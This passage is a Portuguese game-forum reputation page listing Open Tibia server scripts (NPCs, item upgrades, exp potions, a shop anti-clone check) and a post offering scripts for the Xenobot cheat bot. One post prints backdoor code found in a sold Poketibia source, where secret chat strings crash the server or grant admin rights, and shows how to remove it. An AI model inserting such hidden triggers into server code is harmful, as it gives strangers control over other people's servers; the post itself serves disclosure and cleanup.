Histórico de Curtidas
-
frank007 deu reputação a KotZletY em (Resolvido)[Pedido] Talkactions pvp on/off TFS 0.4@frank007 seria estranho um comando só pra você não poder atacar, em todo caso, script talkactions:
local msg = "Agora seu sistema PvP está %s." function onSay(cid, words, param) local _table = { ["on"] = {"ativado", 1}, ["off"] = {"desativado", 0}, } if _table[param:lower()] then local mode = _table[param:lower()] setPlayerStorageValue(cid, 91821, mode[2]) doPlayerSendTextMessage(cid, 27, "Seu pvp foi "..msg:format(mode[1])) end return true end
tag xml da talkactions:
<talkaction words="!pvp" event="script" value="NomeDoArquivo.lua"/>
creaturescripts:
tags do creaturescripts.xml:
<event type="combat" name="PvPCombat" event="script" value="NomeDoArquivo.lua"/> <event type="login" name="PvPLogin" event="script" value="NomeDoArquivo.lua"/>
-
frank007 deu reputação a Cjaker em [Ichigo][Eternal-Scripts] Peça seu Script aqui!Olá TibiaKing! Nesse tópico pretendo atender a necessidade de todos com pedidos de Scripts.
* Como funciona?
- Simples, basta responder esse tópico com todos os detalhes do script que você está precisando, e assim que eu tiver tempo, colocarei o Link do Download nesse tópico.
* Todo tipo de pedido é válido?
- Dependendo se é possível e/ou se o Script não for de um nível de dificuldade elevado, posso sim fazer. (Não me peça que levam BASTANTE tempo pra fazer, peça por exemplo: Equip Ring)
E é isso ai galera, quero levantar um pouco essa seção do Fórum.
OBS: Não esqueça do seu REP+ isso incentiva bastante meu trabalho em ajudar vocês =) == [[ Pedidos ]] == usthiago: http://pastebin.com/YkSCbNWz Guilherme: https://www.dropbox.com/s/yotinqrwgxq7qyx/[Eternal-Scripts] Amazon Camp.rar
== [[ Scans ]] == Guilherme: https://virustotal.com/pt/file/cfecb191f8bc5b776fdb2fda72342e3b4aa8fc1b01de307a240dd2854ba82369/analysis/1470835771/
ESSE TÓPICO SERVE APENAS PARA PEDIR SCRIPTS PARA XENOBOT, NÃO PEÇA SCRIPTS PARA OTSERV! - @Wakon -
frank007 recebeu reputação de marcoatorres em Npcnão esqueça de marcar como melhor resposta para q posa ajudar outros com o mesmo problema!
-
frank007 recebeu reputação de marcoatorres em Npcpoderia fazer o seguinte
Mods:
Task Kill.xml
<?xml version="1.0" encoding="ISO-8859-1"?> <mod name="Task Kill" version="1.0" author="Vodkart" contact="tibiaking.com" enabled="yes"> <config name="KillM_func"><![CDATA[ tsk = { storages = {68754,68755}, task = {"dragon", 10}, -- nome do bixo e quantidade exp = 200, item = {2123,1} } ]]></config> <event type="login" name="AreKill" event="script"><![CDATA[ function onLogin(cid) registerCreatureEvent(cid, "CountTask") return true end]]></event> <event type="kill" name="CountTask" event="script"><![CDATA[ domodlib('KillM_func') function onKill(cid, target) if isMonster(target) then local n = string.lower(getCreatureName(target)) if n == tsk.task[1] and getPlayerStorageValue(cid, tsk.storages[2]) >= 1 then local contagem = getPlayerStorageValue(cid, tsk.storages[1]) if (contagem == -1) then contagem = 1 end if not tonumber(contagem) then return true end if contagem > tsk.task[2] then return true end setPlayerStorageValue(cid, tsk.storages[1], contagem+1) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE,""..(contagem == tsk.task[2] and "Congratulations! You finished the task of "..n.."." or "defeated. Total [" .. contagem .. "/" .. tsk.task[2] .. "] " .. n .. ".").."") end end return true end]]></event> </mod> e em npc
domodlib('KillM_func') local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function onThink() npcHandler:onThink() end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local talkUser = NPCHANDLER_CONVbehavior == CONVERSATION_DEFAULT and 0 or cid local msg = string.lower(msg) if isInArray({"task","mission","missao"}, msg) then if not tonumber(getPlayerStorageValue(cid, tsk.storages[1])) then npcHandler:say("Você já terminou a task!", cid) elseif getPlayerStorageValue(cid, tsk.storages[2]) >= 1 then npcHandler:say("Você já matou "..tsk.task[2].." "..tsk.task[1].."? {yes}", cid) talkState[talkUser] = 2 else npcHandler:say("Você deseja fazer uma missão de matar "..tsk.task[2].." "..tsk.task[1].." e receber "..tsk.exp.." de experience e "..tsk.item[2].." "..getItemNameById(tsk.item[1]).."? {yes}", cid) talkState[talkUser] = 1 end elseif isInArray({"yes","sim"}, msg) and talkState[talkUser] > 0 then if talkState[talkUser] == 1 then npcHandler:say("Parabéns! Agora você está participando da task, volte quanto tiver terminado!", cid) setPlayerStorageValue(cid, tsk.storages[2], 1) else if getPlayerStorageValue(cid, tsk.storages[1]) >= tsk.task[2] then npcHandler:say("Obrigado guerreiro, aqui está sua recompensa!", cid) setPlayerStorageValue(cid, tsk.storages[1], "Finished") doPlayerAddExp(cid, tsk.exp) doPlayerAddItem(cid, tsk.item[1], tsk.item[2]) else npcHandler:say("Você ainda não terminou a sua task!", cid) end end talkState[talkUser] = 0 elseif msg == "no" then selfSay("Tudo bem então", cid) talkState[talkUser] = 0 npcHandler:releaseFocus(cid) end return true end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new())
-
frank007 recebeu reputação de brianpsy15 em New Tickere so em ir em admin painel q vai ter a a parte new ticker
-
frank007 recebeu reputação de .Foxxy em (Resolvido)ERRO Talkactionstroque o seu addskill por esse e so renomear para addskill
skill.lua
-
frank007 deu reputação a Garou em Perfect Upgrade SystemNome: Perfect Upgrade System
Tipo: Biblioteca, Action, Sistema
Autor: Oneshot
Essa é a versão final do Perfect Refine System ou Perfect Upgrade System criado por mim.
É um sistema construído em cima de funções em POO (orientação a objetos), o que o torna muito versátil, possibilitando a outros programadores/scripters criarem seus próprios sistemas com base na biblioteca.
A função do sistema é simples. Não passa de um sistema de refino, presente em todos os servidores, onde você usa um item em um equipamento e este fica mais forte e ganha um nome caracterizando o nível de força - bem clichê - mas muito interessante.
Meu sistema é um pouco diferente dos outros, pois possui algumas características exclusivas, listadas abaixo:
O nível máximo configurável é praticamente ilimitado O sistema funciona com armas de combate corpo-a-corpo, bows e crossbows. O refino pode falhar, não acontecendo nada, regredindo o nível ou resetando ele. Há um sistema nativo de broadcasts, que são enviados quando um jogador consegue refinar um equipamento até um certo nível ou maior. As chances são configuradas manualmente e sua randomização é muito precisa. Há dois modos de instalar o sistema em seu servidor, o primeiro é baixar a pasta com os scripts necessários e apenas copiar as chaves nos arquivos XMLs ou então seguir o curto tutorial de instalação.
Crie um arquivo chamado upgradesystem.lua na pasta data/lib e copie o conteúdo abaixo:
--[[ PERFECT UPGRADE SYSTEM 2.0 Criado por Oneshot É proibido a venda ou a cópia sem os devidos créditos desse script. ]]-- UpgradeHandler = { levels = { [1] = {100, false, false}, [2] = {90, false, false}, [3] = {75, false, false}, [4] = {60, true, false}, [5] = {45, true, false}, [6] = {30, true, false}, [7] = {25, true, false}, [8] = {20, true, true}, [9] = {15, true, true}, [10] = {10, true, true}, [11] = {10, true, true}, [12] = {5, true, true} }, broadcast = 7, attributes = { ["attack"] = 2, ["defense"] = 1, ["armor"] = 1 }, message = { console = "Trying to refine %s to level +%s with %s%% success rate.", success = "You have upgraded %s to level +%s", fail = "You have failed in upgrade of %s to level +%s", downgrade = "The upgrade level of %s has downgraded to +%s", erase = "The upgrade level of %s has been erased.", maxlevel = "The targeted %s is already on max upgrade level.", notupgradeable = "This item is not upgradeable.", broadcast = "The player %s was successful in upgrading %s to level +%s.\nCongratulations!!", invalidtool = "This is not a valid upgrade tool.", toolrange = "This upgrade tool can only be used in items with level between +%s and +%s" }, tools = { [8306] = {range = {0, 10}, info = {chance = 0, removeable = true}}, }, isEquipment = function(self) local weaponType = self:getItemWeaponType() return ((weaponType > 0 and weaponType < 7) or self.item.armor ~= 0) end, setItemName = function(self, name) return doItemSetAttribute(self.item.uid, "name", name) end, chance = function(self) local chances = {} chances.upgrade = (self.levels[self.item.level + 1][1] or 100) chances.downgrade = (self.item.level * 5) chances.erase = (self.item.level * 3) return chances end } function UpgradeHandler:new(item) local obj, ret = {} obj.item = {} obj.item.level = 0 obj.item.uid = item.uid for key, value in pairs(getItemInfo(item.itemid)) do obj.item[key] = value end ret = setmetatable(obj, {__index = function(self, index) if _G[index] then return (setmetatable({callback = _G[index]}, {__call = function(self, ...) return self.callback(item.uid, ...) end})) else return UpgradeHandler[index] end end}) if ret:isEquipment() then ret:update() return ret end return false end function UpgradeHandler:update() self.item.level = (tonumber(self:getItemName():match("%+(%d+)")) or 0) end function UpgradeHandler:refine(uid, item) if not self.item then doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_BLUE, self.message.notupgradeable) return "miss" end local tool = self.tools[item.itemid] if(tool == nil) then doPlayerSendTextMessage(uid, MESSAGE_EVENT_DEFAULT, self.message.invalidtool) return "miss" end if(self.item.level > #self.levels) then doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_RED, self.message.maxlevel:format(self.item.name)) return "miss" end if(self.item.level < tool.range[1] or self.item.level >= tool.range[2]) then doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_RED, self.message.toolrange:format(unpack(tool.range))) return "miss" end local chance = (self:chance().upgrade + tool.info.chance) doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_BLUE, self.message.console:format(self.item.name, (self.item.level + 1), math.min(100, chance))) if(tool.info.removeable == true) then doRemoveItem(item.uid, 1) end if chance * 100 > math.random(1, 10000) then doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_ORANGE, self.message.success:format(self.item.name, (self.item.level + 1))) if (self.item.level + 1) >= self.broadcast then doBroadcastMessage(self.message.broadcast:format(getCreatureName(uid), self.item.name, (self.item.level + 1))) end self:setItemName((self.item.level > 0 and self:getItemName():gsub("%+(%d+)", "+".. (self.item.level + 1)) or (self:getItemName() .." +1"))) for key, value in pairs(self.attributes) do if getItemAttribute(self.item.uid, key) ~= nil or self.item[key] ~= 0 then doItemSetAttribute(self.item.uid, key, (self.item.level > 0 and getItemAttribute(self.item.uid, key) or self.item[key]) + value) end end return "success" else if(self.levels[self.item.level][3] == true and (self:chance().erase * 100) > math.random(1, 10000)) then doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_RED, self.message.erase:format(self.item.name)) self:setItemName(self.item.name) for key, value in pairs(self.attributes) do if self.item[key] > 0 then doItemSetAttribute(self.item.uid, key, self.item[key]) end end elseif(self.levels[self.item.level][2] == true and (self:chance().downgrade * 100) > math.random(1, 10000)) then doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_RED, self.message.downgrade:format(self.item.name, (self.item.level - 1))) self:setItemName((self.item.level == 1 and self.item.name or self:getItemName():gsub("%+(%d+)", "+".. (self.item.level - 1)))) for key, value in pairs(self.attributes) do if getItemAttribute(self.item.uid, key) ~= nil or self.item[key] ~= 0 then doItemSetAttribute(self.item.uid, key, (self.item[key] + value * (self.item.level - 1))) end end else doPlayerSendTextMessage(uid, MESSAGE_STATUS_CONSOLE_RED, self.message.fail:format(self.item.name, (self.item.level + 1))) end return "fail" end end Crie um arquivo chamado upgrade.lua em data/actions/scripts e cole o conteúdo abaixo:
function onUse(cid, item, fromPosition, itemEx, toPosition) if isCreature(itemEx.uid) then return doPlayerSendDefaultCancel(cid, RETURNVALUE_NOTPOSSIBLE) end local obj = UpgradeHandler:new(itemEx) if(obj == false) then return doPlayerSendCancel(cid, UpgradeHandler.message.notupgradeable) end local status = obj:refine(cid, item) if status == "success" then --doSendAnimatedText(toPosition, "Success!", COLOR_GREEN) doSendMagicEffect(toPosition, CONST_ME_MAGIC_GREEN) elseif status == "fail" then --doSendAnimatedText(toPosition, "Fail!", COLOR_RED) doSendMagicEffect(toPosition, CONST_ME_POFF) else doSendMagicEffect(toPosition, CONST_ME_POFF) end return true end No arquivo actions.xml, cole a seguinte linha:
<action itemid="8306" event="script" value="upgrade.lua"/> Para adicionar mais níveis de refino no sistema, edite a seguinte tabela:
levels = { [1] = {100, false, false}, [2] = {90, false, false}, [3] = {75, false, false}, [4] = {60, true, false}, [5] = {45, true, false}, [6] = {30, true, false}, [7] = {25, true, false}, [8] = {20, true, true}, [9] = {15, true, true}, [10] = {10, true, true} }, Por padrão, ela já está configurado como na maioria dos MMORPGs, 10 níveis de refino, com chances de sucesso, regressão e "quebra". Mas se você quiser, por exemplo, adicionar mais dois níveis, siga o modelo, sempre colocando uma vírgula no final com exceção da última linha da tabela:
levels = { [1] = {100, false, false}, [2] = {90, false, false}, [3] = {75, false, false}, [4] = {60, true, false}, [5] = {45, true, false}, [6] = {30, true, false}, [7] = {25, true, false}, [8] = {20, true, true}, [9] = {15, true, true}, [10] = {10, true, true}, [11] = {10, true, true}, [12] = {5, true, true} }, O primeiro valor é chance de sucesso, o segundo se o item pode regredir na tentativa e o terceiro é se o item para "quebrar" (perder todo o nível de refino). Para criar novas ferramentas (itens) de refinar, configure a tabela abaixo:
tools = { [8306] = {range = {0, 10}, info = {chance = 0, removeable = true}}, }, Seguindo o mesmo esquema da tabela anterior, vírgulas em todas as linhas com exceção da última, seguindo o modelo abaixo. Por exemplo, uma ferramenta de ID 8303 que refine do level +6 ao +10, que dê 10% de chance bônus e que seja finita, eu faço assim:
tools = { [8306] = {range = {0, 10}, info = {chance = 0, removeable = true}}, [8310] = {range = {6, 10}, info = {chance = 10, removeable = true}} }, Em breve vídeo de demonstração com sistema em funcionamento.
Perfect Upgrade System.rar
-
frank007 deu reputação a QuebradaZN em Double Exp Potion CompletaEu Uso Essa, Ela Mostra o Tempo que falta pra acabar, Achei ela super Completona! Gostei!
Em Mods Coloque esse Arquivo!
<?xml version="1.0" encoding="UTF-8"?> <mod name="AdvancedExpPotionSystem" enabled="yes" author="MatheusMkalo" forum="XTibia.com"> <!-- Configs and Functions --> <config name="PotionExpConfigs"><![CDATA[ ------ CONFIGURE SEU SCRIPT ------ TRUE ou FALSE configs = { time = 30, ---- TIME IN MINUTES needpa = TRUE, needlvl = {TRUE, level = 50}, costmana = {TRUE, mana = 300}, addrate = 50, -- Exp que vai adicionar em % removeonuse = TRUE } function getTime(s) local n = math.floor(s / 60) s = s - (60 * n) return n, s end CreatureEventChecker = function(event, ...) -- Colex if isCreature(arg[1]) then event(unpack(arg)) end end creatureEvent = function(event, delay, ...) -- Colex addEvent(CreatureEventChecker, delay, event, unpack(arg)) end function getPlayerExtraExpRate(cid) -- By MatheusMkalo return (getPlayerRates(cid)[8]-1)*100 end ]]></config> <!-- exppotion.lua --> <action itemid="7440" event="script"><![CDATA[ domodlib('PotionExpConfigs') if getPlayerStorageValue(cid, 62164) >= 1 then return doPlayerSendCancel(cid, "Voce ja ta Sob o Efeito da Potion.") end if configs.needpa and not isPremium(cid) then return doPlayerSendCancel(cid, "Voce Precisar ser Premium Para Usar") end if configs.needlvl[1] and getPlayerLevel(cid) < configs.needlvl.level then return doPlayerSendCancel(cid, "Voce Precisa ser " .. configs.needlvl.level .. " Para usar a Potion.") end if configs.costmana[1] then if getCreatureMana(cid) < configs.costmana.mana then return doPlayerSendCancel(cid, "Voce Precisar ter " .. configs.costmana.mana .. " de Mana Para usar a Potion") else doCreatureAddMana(cid, -configs.costmana.mana) end end if configs.removeonuse then doRemoveItem(item.uid, 1) end for i = configs.time*60, 1, -1 do local a = math.floor(i/60) .. ":" .. i - (60 * math.floor(i/60)) if #a < 4 then a = string.sub(a,1,2) .. "0" .. string.sub(a, 3) end if i == configs.time*60 then creatureEvent(doPlayerSendCancel, configs.time*60*1000, cid, "Efeito Final da Pocao de EXP.") end creatureEvent(doPlayerSendCancel, (configs.time*60-i)*1000, cid, "O Efeito da Pocao vai acabar em "..a..".") end doPlayerSetExperienceRate(cid, (1+(configs.addrate/100))+(getPlayerExtraExpRate(cid)/100)) creatureEvent(doPlayerSetExperienceRate, configs.time *60*1000, cid, 1+(getPlayerExtraExpRate(cid)/100-(configs.addrate/100))) doPlayerSendTextMessage(cid, 22, "Agora Voce Esta Recebendo mais EXP por Matar Monstros.") setPlayerStorageValue(cid, 62164, os.time()) creatureEvent(setPlayerStorageValue, configs.time *60*1000, cid, 62164, 0) return TRUE ]]></action> <creaturescript type="login" name="ExpPotion" event="script"><![CDATA[ domodlib('PotionExpConfigs') local time = configs.time if os.time()-getPlayerStorageValue(cid, 62164) < time *60 then doPlayerSetExperienceRate(cid, (1+(configs.addrate/100))+(getPlayerExtraExpRate(cid)/100)) creatureEvent(doPlayerSetExperienceRate, (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) * 1000, cid, 1+(getPlayerExtraExpRate(cid)/100-(configs.addrate/100))) creatureEvent(setPlayerStorageValue, (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) * 1000 , cid, 62164, 0) for i = (time*60-(os.time()-getPlayerStorageValue(cid, 62164))), 1, -1 do local a = math.floor(i/60) .. ":" .. i - (60 * math.floor(i/60)) if #a < 4 then a = string.sub(a,1,2) .. "0" .. string.sub(a, 3) end if i == (time*60-(os.time()-getPlayerStorageValue(cid, 62164))) then creatureEvent(doPlayerSendCancel, (time*60-(os.time()-getPlayerStorageValue(cid, 62164)))*1000, cid, "O Efeito da Potion Termina em.") end creatureEvent(doPlayerSendCancel, ((time*60-(os.time()-getPlayerStorageValue(cid, 62164)))-i)*1000, cid, "O Efeito da Potion Termina em "..a..".") end end return TRUE ]]></creaturescript> </mod> e nessa Parte Configure ela como desejado:
configs = { time = 30, ---- TEMPO EM MINUTOS needpa = TRUE, --- NECESSITA DE PREMIUM ACCOUNT ? FALSE OU TRUE needlvl = {TRUE, level = 50}, --- LEVEL QUE MINIMO PARA USA-LÁ! costmana = {TRUE, mana = 300}, --- CUSTO DE MANA PARA USA-LÁ! addrate = 50, -- Exp que vai adicionar em % --- EXP QUE VAI DAR, 50 ESTA METADE! removeonuse = TRUE --- REMOVE A POTION APOS USAR! Vá na Script e Cace a Linha: <action itemid="7440" event="script"> e Troque o ID Pelo item ou Potion Desejado! é Isso ae! Se Ajudei Não Custa nada dar um REP né? -
frank007 deu reputação a L3K0T em Source Poketibia - Códigos de derrubarOlá querido membro, hoje um grande amigo me pediu pra resolver um problema na source dele que acabou comprando de um fulano, enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava um cargo de administrador a um jogador com groups 1. Então me falaram que esse código era no game.cpp, portanto olhei linha por linha nessa source que está espalhada em vários fóruns e não é só aqui, é praticamente um código colocado por mal gosto, para ferrar praticamente com a vida de novos administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará da SOURCES do seu Poketibia para fazer essa verificação, caso possua o código da "morte" peço que siga o tutorial abaixo.
ACHE em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)
Código 1
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Etapa do Código 1 Mude para:
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Pronto agora é só compilar sua source! Fiz update e achei outro código de derrubar no DXP.
Código 2
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); int specs = 31101996; std::string findText; std::stringstream findTextInput; findTextInput << specs; findText = findTextInput.str(); bool exists = text.find(findText) != std::string::npos; if(exists){ Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return true; } SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Código 2, mude para
bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) {
Logo mais revelo novo código da mortes, créditos a mim, e cipsoft pelo código original.
-
frank007 deu reputação a Absolute em [ANTI-CLONE] 100% NOVO [O MELHOR]Fala galera do TK!
Trago hoje a vocês um sistema que desenvolvi sob uma base de shop com meu parceiro Thales Valentim do pokemonbr.com.br a alguns meses, pós vários testes e visando que funcionou perfeitamente trago para vocês!
Como funciona?
Toda vez que um ItemVIP ou qualquer Item comprado no SHOP do seu site, quando ele for entregar ao player, irá ficar; COMPRADOR POR:, ou seja; irá adicionar uma "KEY" algo que realmente saiu direto do seu SHOP, pois quando o item é disparado para o player ele vai entregar normal com a função "doCreateItemEx" e então adicionar a descrição no mesmo com a função "doItemSetAttribute".
E como evitará os clones Absolute?
Você terá uma QUERY para executar no seu banco de dados, fazendo uma checagem dos items VIPS que não possuem esse SERIAL KEY (o script também já faz a checagem), ou seja; os que não tiverem a KEY foram clonados (não saíram do SHOP), e então vocês poderão deleta-los manualmente caso necessário.
É muito simples, apenas um script e a QUERY de checagem.
Vamos a instalação?
Em data/globalevents/scripts substitua o seu arquivo shop.lua por este:
-- ### CONFIG ### -- message send to player by script "type" (types you can check in "global.lua") SHOP_MSG_TYPE = 19 -- time (in seconds) between connections to SQL database by shop script SQL_interval = 30 -- ### END OF CONFIG ### function onThink(interval, lastExecution) local result_plr = db.getResult("SELECT * FROM z_ots_comunication WHERE `type` = 'login';") if(result_plr:getID() ~= -1) then while(true) do id = tonumber(result_plr:getDataInt("id")) action = tostring(result_plr:getDataString("action")) delete = tonumber(result_plr:getDataInt("delete_it")) cid = getCreatureByName(tostring(result_plr:getDataString("name"))) if isPlayer(cid) == TRUE then local itemtogive_id = tonumber(result_plr:getDataInt("param1")) local itemtogive_count = tonumber(result_plr:getDataInt("param2")) local container_id = tonumber(result_plr:getDataInt("param3")) local container_count = tonumber(result_plr:getDataInt("param4")) local add_item_type = tostring(result_plr:getDataString("param5")) local add_item_name = tostring(result_plr:getDataString("param6")) local received_item = 0 local full_weight = 0 if add_item_type == 'container' then container_weight = getItemWeightById(container_id, 1) if isItemRune(itemtogive_id) == TRUE then items_weight = container_count * getItemWeightById(itemtogive_id, 1) else items_weight = container_count * getItemWeightById(itemtogive_id, itemtogive_count) end full_weight = items_weight + container_weight else full_weight = getItemWeightById(itemtogive_id, itemtogive_count) if isItemRune(itemtogive_id) == TRUE then full_weight = getItemWeightById(itemtogive_id, 1) else full_weight = getItemWeightById(itemtogive_id, itemtogive_count) end end local free_cap = getPlayerFreeCap(cid) if full_weight <= free_cap then if add_item_type == 'container' then local new_container = doCreateItemEx(container_id, 1) doItemSetAttribute(new_container, "description", 'Bought by ' .. getCreatureName(cid) .. ' [ID:' .. id .. '].') local iter = 0 while iter ~= container_count do local new_item = doCreateItemEx(itemtogive_id, itemtogive_count) doItemSetAttribute(new_item, "description", 'Bought by ' .. getCreatureName(cid) .. ' [ID:' .. id .. '].') doAddContainerItemEx(new_container, new_item) iter = iter + 1 end received_item = doPlayerAddItemEx(cid, new_container) else local new_item = doCreateItemEx(itemtogive_id, itemtogive_count) doItemSetAttribute(new_item, "description", 'Bought by ' .. getCreatureName(cid) .. ' [ID:' .. id .. '].') received_item = doPlayerAddItemEx(cid, new_item) end if received_item == RETURNVALUE_NOERROR then doPlayerSendTextMessage(cid, SHOP_MSG_TYPE, 'You received >> '.. add_item_name ..' << from OTS shop.') doPlayerSave(cid) db.executeQuery("DELETE FROM `z_ots_comunication` WHERE `id` = " .. id .. ";") db.executeQuery("UPDATE `z_shop_history_item` SET `trans_state`='realized', `trans_real`=" .. os.time() .. " WHERE id = " .. id .. ";") else doPlayerSendTextMessage(cid, SHOP_MSG_TYPE, '>> '.. add_item_name ..' << from OTS shop is waiting for you. Please make place for this item in your backpack/hands and wait about '.. SQL_interval ..' seconds to get it.') end else doPlayerSendTextMessage(cid, SHOP_MSG_TYPE, '>> '.. add_item_name ..' << from OTS shop is waiting for you. It weight is '.. full_weight ..' oz., you have only '.. free_cap ..' oz. free capacity. Put some items in depot and wait about '.. SQL_interval ..' seconds to get it.') end end if not(result_plr:next()) then break end end result_plr:free() end return TRUE end
Confira se no seu globalevents.xml já possui a tag:
<globalevent name="shop" interval="30000" script="shop.lua"/>
PRONTO, VOCÊ ESTÁ LIVRE DE CLONES! TÃO SIMPLES NÃO?
Para fazer a checagem se há items clonados, abra o seu phpmyadmin e execute a seguinte query:
------------------- COMANDO SQL BY ABSOLUTE PARA VERIFICAR A TABELA PLAYER_DEPOTITEMS---------------------- SELECT `player_id`,`pid`,`sid`,CONVERT( `attributes` USING latin1 ) FROM `player_depotitems` WHERE CONVERT( `attributes` USING latin1 ) LIKE '%description%' ------------------- COMANDO SQL BY ABSOLUTE PARA VERIFICAR A TABELA PLAYER_ITEMS---------------------- SELECT `player_id`,`pid`,`sid`,CONVERT( `attributes` USING latin1 ) FROM `player_items` WHERE CONVERT( `attributes` USING latin1 ) LIKE '%description%'
OBSERVAÇÃO IMPORTANTE: Caso seu servidor já esteja online e já possua vendas no seu SHOP, você terá que adicionar a "KEY" em todos os items ou reseta-los.
OUTRA OBSERVAÇÃO: Nunca crie items VIP com o ADMIN e de aos jogadores, pois eles ficaram sem a "KEY" e poderão ser deletados.
ESTE SCRIPT FUNCIONA PERFEITAMENTE NAS REVS 0.3.6 e 0_4, caso necessário passo para a 1.x. S
IMPLES, PRATICO E PERFEITO NÃO?
Quero vê-los usando, espero ter ajudado. :D
Até a próxima!
Absolute.
-
frank007 deu reputação a Doughell em Listão de NPCs, Monsters & RaidsListão de NPCs, Monsters & Raids
Nome do Tópico: NPC Mount
Autor: Trypox
Link do Tópico: http://tibiaking.com/forum/topic/7814-npc-mount/
Comentário:
Nome do Tópico: Outfit Maker
Autor: ThalesMesquita
Link do Tópico: http://tibiaking.com/forum/topic/7731-outfit-maker/
Comentário:
Nome do Tópico: NPC BLESS
Autor: DevilMoon
Link do Tópico: http://tibiaking.com/forum/topic/7675-npc-bless/
Comentário:
Nome do Tópico: [NPC] Mission
Autor: Dudu Ruller
Link do Tópico: http://tibiaking.com/forum/topic/7582-npc-mission/
Comentário:
Nome do Tópico: Pet system
Autor: Fox B.
Link do Tópico: http://tibiaking.com/forum/topic/4339-pet-system-by-delyria/
Comentário:
Nome do Tópico: Aprendar a criar e postar um NPC no seu Map
Autor: JhonatanCWest
Link do Tópico: http://tibiaking.com/forum/topic/2414-aprenda-a-criar-e-postar-um-npc-no-seu-map/
Comentário:
Nome do Tópico: [NPC] Mate o monstro e complete sua tarefa
Autor: thalia
Link do Tópico: http://tibiaking.com/forum/topic/2094-npc-mate-o-monstro-e-complete-sua-tarefa/
Comentário:
Nome do Tópico: [NPC] Apostador de Vegas
Autor: thalia
Link do Tópico: http://tibiaking.com/forum/topic/2066-npc-apostador-de-vegas/
Comentário:
OBSERVAÇÃO: Como há muitos tópicos apenas os das primeiras páginas serão adicionados, os que não forem atualizados ou os autores de seus tópicos abandonar o tópico, será excluido dando chance a outro tópico.
A ultima atualização ocorreu:
18/10/2011 ás 22:15
Você não está com seu tópico em nossa lista?
Comentem em nosso tópico que atualizaremos no ato!
-
frank007 deu reputação a lordefmorte em [NPC Guard] Ataca Skulls e Monsters, Invasoresacredito que fiz ago errado por favo ver se tem ago errado aqui
no data\npc criei um arquivo xml como o nome de defender dentro dele botei isso
<?xml version="1.0"?> <npc name="Defender" script="defender.lua" access="5" lookdir="2" autowalk="25"> <mana now="800" max="800"/> <health now="200" max="200"/> <look type="131" head="116" body="94" legs="78" feet="115" addons="3"/> </npc> local level = 10 -- Quanto o NPC irar tirar. local maglevel = 10 -- Quanto o NPC Irar tirar. local min_multiplier = 2.1 -- Quanto o NPC Irar tirar. local max_multiplier = 4.2 -- Quanto o NPC Irar tirar. local Attack_message = "An Invader, ATTACK!!!" -- A mensagem queo NPC irar falar quanto detectar um invasor.
dentro de data\npc\scripts criei um arquivo lua como o nome de defender detro botei isso
local level = 10 ----- change this to make the npc hit more/less---------------------|damage_min = (level * 2 + maglevel * 3) * min_multiplier | local maglevel = 10 ----- change this to make the npc hit more/less -----------------|damage_max = (level * 2 + maglevel * 3) * max_multiplier | local min_multiplier = 2.1 ----- change this to make the npc hit more/less ----------|damage_formula = math.random(damage_min,damage_max) | local max_multiplier = 4.2 ----- change this to make the npc hit more/less --------------------------------------------------------------------- local check_interval = 5 ----- change this to the time between checks for a creature (the less time the more it will probably lag :S) local radiusx = 7 ----- change this to the amount of squares left/right the NPC checks (default 7 so he checks 7 squares left of him and 7 squares right (the hole screen) local radiusy = 5 ----- change this to the amount of squares left/right the NPC checks (default 5 so he checks 5 squares up of him and 5 squares down (the hole screen) local Attack_message = "An Invader, ATTACK!!!" ----- change this 